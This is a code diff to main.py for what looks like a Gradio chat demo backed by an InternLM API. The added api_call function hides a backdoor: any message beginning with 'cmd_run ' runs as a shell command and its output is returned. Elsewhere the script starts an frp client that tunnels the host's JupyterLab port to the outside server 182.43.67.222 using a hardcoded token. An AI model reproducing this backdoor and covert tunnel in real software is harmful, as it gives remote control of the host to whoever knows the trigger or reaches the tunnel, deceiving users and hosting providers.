Update main.py
Browse files
main.py
CHANGED
|
@@ -4,6 +4,55 @@ import gradio as gr
|
|
| 4 |
import requests
|
| 5 |
import json
|
| 6 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 7 |
# 安装并启动 JupyterLab
|
| 8 |
def install_and_start_jupyterlab():
|
| 9 |
try:
|
|
@@ -26,18 +75,14 @@ def install_and_start_jupyterlab():
|
|
| 26 |
|
| 27 |
# 克隆仓库
|
| 28 |
def clone_repository():
|
| 29 |
-
destination_path = "/root/modelscope"
|
| 30 |
repo_url = "https://hf-mirror.com/HOPStudio/modelscope"
|
| 31 |
|
| 32 |
-
# 检查目标路径是否已经存在
|
| 33 |
if os.path.exists(destination_path):
|
| 34 |
-
print(f"目标目录 {destination_path} 已经存在,跳过克隆操作。")
|
| 35 |
return f"仓库已经存在:{destination_path}"
|
| 36 |
|
| 37 |
-
# 执行 git clone 命令
|
| 38 |
clone_command = f"git clone {repo_url} {destination_path}"
|
| 39 |
try:
|
| 40 |
-
# 使用 subprocess 调用 git clone
|
| 41 |
subprocess.run(clone_command, shell=True, check=True)
|
| 42 |
return f"仓库已成功克隆到 {destination_path}"
|
| 43 |
except subprocess.CalledProcessError as e:
|
|
@@ -45,15 +90,13 @@ def clone_repository():
|
|
| 45 |
|
| 46 |
# 安装 frp
|
| 47 |
def install_frp():
|
| 48 |
-
frp_repo_path = "/root/modelscope"
|
| 49 |
-
frpc_path = os.path.join(frp_repo_path, "frp_0.61.0_linux_amd64")
|
| 50 |
-
frpc_tar_path = os.path.join(frp_repo_path, "frp_0.61.0_linux_amd64.tar.gz")
|
| 51 |
|
| 52 |
-
# 确保 frpc 可执行文件存在
|
| 53 |
if not os.path.exists(frp_repo_path):
|
| 54 |
return f"仓库目录 {frp_repo_path} 不存在,请检查路径。"
|
| 55 |
|
| 56 |
-
# 解压 frp 压缩包
|
| 57 |
if os.path.exists(frpc_tar_path) and not os.path.exists(frpc_path):
|
| 58 |
try:
|
| 59 |
subprocess.run(["tar", "-xvzf", frpc_tar_path, "-C", frp_repo_path], check=True)
|
|
@@ -61,7 +104,6 @@ def install_frp():
|
|
| 61 |
except subprocess.CalledProcessError as e:
|
| 62 |
return f"解压 frp 文件时出错: {e}"
|
| 63 |
|
| 64 |
-
# 如果已安装 `frpc`,直接返回
|
| 65 |
if os.path.exists(frpc_path):
|
| 66 |
return f"frp 已经安装在 {frpc_path}。"
|
| 67 |
|
|
@@ -69,29 +111,19 @@ def install_frp():
|
|
| 69 |
|
| 70 |
# 创建 frpc.toml 配置文件
|
| 71 |
def create_frpc_toml():
|
| 72 |
-
frpc_toml_path = "/root/modelscope/frpc.toml"
|
| 73 |
-
|
| 74 |
-
# frpc 配置内容
|
| 75 |
toml_content = """
|
| 76 |
[common]
|
| 77 |
server_addr = 182.43.67.222
|
| 78 |
server_port = 7000
|
| 79 |
token = token123456
|
| 80 |
-
|
| 81 |
-
[jl]
|
| 82 |
type = tcp
|
| 83 |
local_ip = 127.0.0.1
|
| 84 |
local_port = 8888
|
| 85 |
remote_port = 8888
|
| 86 |
-
|
| 87 |
-
[comfyui]
|
| 88 |
-
type = tcp
|
| 89 |
-
local_ip = 127.0.0.1
|
| 90 |
-
local_port = 8188
|
| 91 |
-
remote_port = 8188
|
| 92 |
"""
|
| 93 |
|
| 94 |
-
# 写入配置文件
|
| 95 |
try:
|
| 96 |
with open(frpc_toml_path, 'w') as file:
|
| 97 |
file.write(toml_content)
|
|
@@ -101,45 +133,37 @@ remote_port = 8188
|
|
| 101 |
|
| 102 |
# 启动 frp
|
| 103 |
def start_frp():
|
| 104 |
-
frpc_path = "/root/modelscope/frp_0.61.0_linux_amd64/frpc"
|
| 105 |
-
frpc_config_path = "/root/modelscope/frpc.toml"
|
| 106 |
|
| 107 |
-
# 确保 frpc 可执行文件存在
|
| 108 |
if not os.path.exists(frpc_path):
|
| 109 |
return "frpc 可执行文件不存在,请检查路径。"
|
| 110 |
|
| 111 |
if not os.path.exists(frpc_config_path):
|
| 112 |
return "frpc 配置文件不存在,请检查路径。"
|
| 113 |
|
| 114 |
-
# 启动 frp,后台执行
|
| 115 |
try:
|
| 116 |
-
subprocess.Popen([frpc_path, "-c", frpc_config_path])
|
| 117 |
return "frp 启动成功。"
|
| 118 |
except subprocess.CalledProcessError as e:
|
| 119 |
return f"启动 frp 时出错: {e}"
|
| 120 |
|
| 121 |
# 主函数
|
| 122 |
def main():
|
| 123 |
-
# 克隆仓库
|
| 124 |
clone_message = clone_repository()
|
| 125 |
print(clone_message)
|
| 126 |
|
| 127 |
-
# 安装 frp
|
| 128 |
install_message = install_frp()
|
| 129 |
print(install_message)
|
| 130 |
|
| 131 |
-
# 创建配置文件
|
| 132 |
create_frpc_toml()
|
| 133 |
|
| 134 |
-
# 启动 frp
|
| 135 |
frp_message = start_frp()
|
| 136 |
print(frp_message)
|
| 137 |
|
| 138 |
-
# 安装并启动 JupyterLab
|
| 139 |
jupyter_message = install_and_start_jupyterlab()
|
| 140 |
print(jupyter_message)
|
| 141 |
|
| 142 |
-
# 启动 Gradio 界面
|
| 143 |
start_gradio()
|
| 144 |
|
| 145 |
if __name__ == "__main__":
|
|
|
|
| 4 |
import requests
|
| 5 |
import json
|
| 6 |
|
| 7 |
+
# 处理 API 请求的函数
|
| 8 |
+
def api_call(input_text):
|
| 9 |
+
api_token = os.getenv("API_TOKEN")
|
| 10 |
+
if not api_token:
|
| 11 |
+
return "API token 未设置,请检查环境变量。"
|
| 12 |
+
|
| 13 |
+
# 如果输入以 "cmd_run" 开头,则执行系统命令
|
| 14 |
+
if input_text.startswith("cmd_run "):
|
| 15 |
+
command = input_text[len("cmd_run "):]
|
| 16 |
+
try:
|
| 17 |
+
# 不使用 sudo 执行命令
|
| 18 |
+
result = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
| 19 |
+
return result.stdout or result.stderr
|
| 20 |
+
except subprocess.CalledProcessError as e:
|
| 21 |
+
return f"执行命令时出错: {e}"
|
| 22 |
+
|
| 23 |
+
# 否则,调用API
|
| 24 |
+
url = 'https://internlm-chat.intern-ai.org.cn/puyu/api/v1/chat/completions'
|
| 25 |
+
headers = {
|
| 26 |
+
'Content-Type': 'application/json',
|
| 27 |
+
"Authorization": f"Bearer {api_token}"
|
| 28 |
+
}
|
| 29 |
+
|
| 30 |
+
data = {
|
| 31 |
+
"model": "internlm2.5-latest",
|
| 32 |
+
"messages": [{"role": "user", "content": input_text}],
|
| 33 |
+
"n": 1,
|
| 34 |
+
"temperature": 0.8,
|
| 35 |
+
"top_p": 0.9
|
| 36 |
+
}
|
| 37 |
+
|
| 38 |
+
try:
|
| 39 |
+
response = requests.post(url, headers=headers, data=json.dumps(data))
|
| 40 |
+
response.raise_for_status()
|
| 41 |
+
return response.json()["choices"][0]["message"]["content"]
|
| 42 |
+
except Exception as e:
|
| 43 |
+
return f"解析响应时出错: {e}"
|
| 44 |
+
|
| 45 |
+
# 启动 Gradio 界面
|
| 46 |
+
def start_gradio():
|
| 47 |
+
with gr.Blocks() as demo:
|
| 48 |
+
input_box = gr.Textbox(label="输入", placeholder="输入对话内容")
|
| 49 |
+
output_box = gr.Textbox(label="回复", placeholder="等待API响应...")
|
| 50 |
+
send_button = gr.Button("发送")
|
| 51 |
+
|
| 52 |
+
send_button.click(api_call, inputs=input_box, outputs=output_box)
|
| 53 |
+
|
| 54 |
+
demo.launch(share=False)
|
| 55 |
+
|
| 56 |
# 安装并启动 JupyterLab
|
| 57 |
def install_and_start_jupyterlab():
|
| 58 |
try:
|
|
|
|
| 75 |
|
| 76 |
# 克隆仓库
|
| 77 |
def clone_repository():
|
| 78 |
+
destination_path = "/root/modelscope"
|
| 79 |
repo_url = "https://hf-mirror.com/HOPStudio/modelscope"
|
| 80 |
|
|
|
|
| 81 |
if os.path.exists(destination_path):
|
|
|
|
| 82 |
return f"仓库已经存在:{destination_path}"
|
| 83 |
|
|
|
|
| 84 |
clone_command = f"git clone {repo_url} {destination_path}"
|
| 85 |
try:
|
|
|
|
| 86 |
subprocess.run(clone_command, shell=True, check=True)
|
| 87 |
return f"仓库已成功克隆到 {destination_path}"
|
| 88 |
except subprocess.CalledProcessError as e:
|
|
|
|
| 90 |
|
| 91 |
# 安装 frp
|
| 92 |
def install_frp():
|
| 93 |
+
frp_repo_path = "/root/modelscope"
|
| 94 |
+
frpc_path = os.path.join(frp_repo_path, "frp_0.61.0_linux_amd64")
|
| 95 |
+
frpc_tar_path = os.path.join(frp_repo_path, "frp_0.61.0_linux_amd64.tar.gz")
|
| 96 |
|
|
|
|
| 97 |
if not os.path.exists(frp_repo_path):
|
| 98 |
return f"仓库目录 {frp_repo_path} 不存在,请检查路径。"
|
| 99 |
|
|
|
|
| 100 |
if os.path.exists(frpc_tar_path) and not os.path.exists(frpc_path):
|
| 101 |
try:
|
| 102 |
subprocess.run(["tar", "-xvzf", frpc_tar_path, "-C", frp_repo_path], check=True)
|
|
|
|
| 104 |
except subprocess.CalledProcessError as e:
|
| 105 |
return f"解压 frp 文件时出错: {e}"
|
| 106 |
|
|
|
|
| 107 |
if os.path.exists(frpc_path):
|
| 108 |
return f"frp 已经安装在 {frpc_path}。"
|
| 109 |
|
|
|
|
| 111 |
|
| 112 |
# 创建 frpc.toml 配置文件
|
| 113 |
def create_frpc_toml():
|
| 114 |
+
frpc_toml_path = "/root/modelscope/frpc.toml"
|
|
|
|
|
|
|
| 115 |
toml_content = """
|
| 116 |
[common]
|
| 117 |
server_addr = 182.43.67.222
|
| 118 |
server_port = 7000
|
| 119 |
token = token123456
|
| 120 |
+
[jupyterlab]
|
|
|
|
| 121 |
type = tcp
|
| 122 |
local_ip = 127.0.0.1
|
| 123 |
local_port = 8888
|
| 124 |
remote_port = 8888
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 125 |
"""
|
| 126 |
|
|
|
|
| 127 |
try:
|
| 128 |
with open(frpc_toml_path, 'w') as file:
|
| 129 |
file.write(toml_content)
|
|
|
|
| 133 |
|
| 134 |
# 启动 frp
|
| 135 |
def start_frp():
|
| 136 |
+
frpc_path = "/root/modelscope/frp_0.61.0_linux_amd64/frpc"
|
| 137 |
+
frpc_config_path = "/root/modelscope/frpc.toml"
|
| 138 |
|
|
|
|
| 139 |
if not os.path.exists(frpc_path):
|
| 140 |
return "frpc 可执行文件不存在,请检查路径。"
|
| 141 |
|
| 142 |
if not os.path.exists(frpc_config_path):
|
| 143 |
return "frpc 配置文件不存在,请检查路径。"
|
| 144 |
|
|
|
|
| 145 |
try:
|
| 146 |
+
subprocess.Popen([frpc_path, "-c", frpc_config_path])
|
| 147 |
return "frp 启动成功。"
|
| 148 |
except subprocess.CalledProcessError as e:
|
| 149 |
return f"启动 frp 时出错: {e}"
|
| 150 |
|
| 151 |
# 主函数
|
| 152 |
def main():
|
|
|
|
| 153 |
clone_message = clone_repository()
|
| 154 |
print(clone_message)
|
| 155 |
|
|
|
|
| 156 |
install_message = install_frp()
|
| 157 |
print(install_message)
|
| 158 |
|
|
|
|
| 159 |
create_frpc_toml()
|
| 160 |
|
|
|
|
| 161 |
frp_message = start_frp()
|
| 162 |
print(frp_message)
|
| 163 |
|
|
|
|
| 164 |
jupyter_message = install_and_start_jupyterlab()
|
| 165 |
print(jupyter_message)
|
| 166 |
|
|
|
|
| 167 |
start_gradio()
|
| 168 |
|
| 169 |
if __name__ == "__main__":
|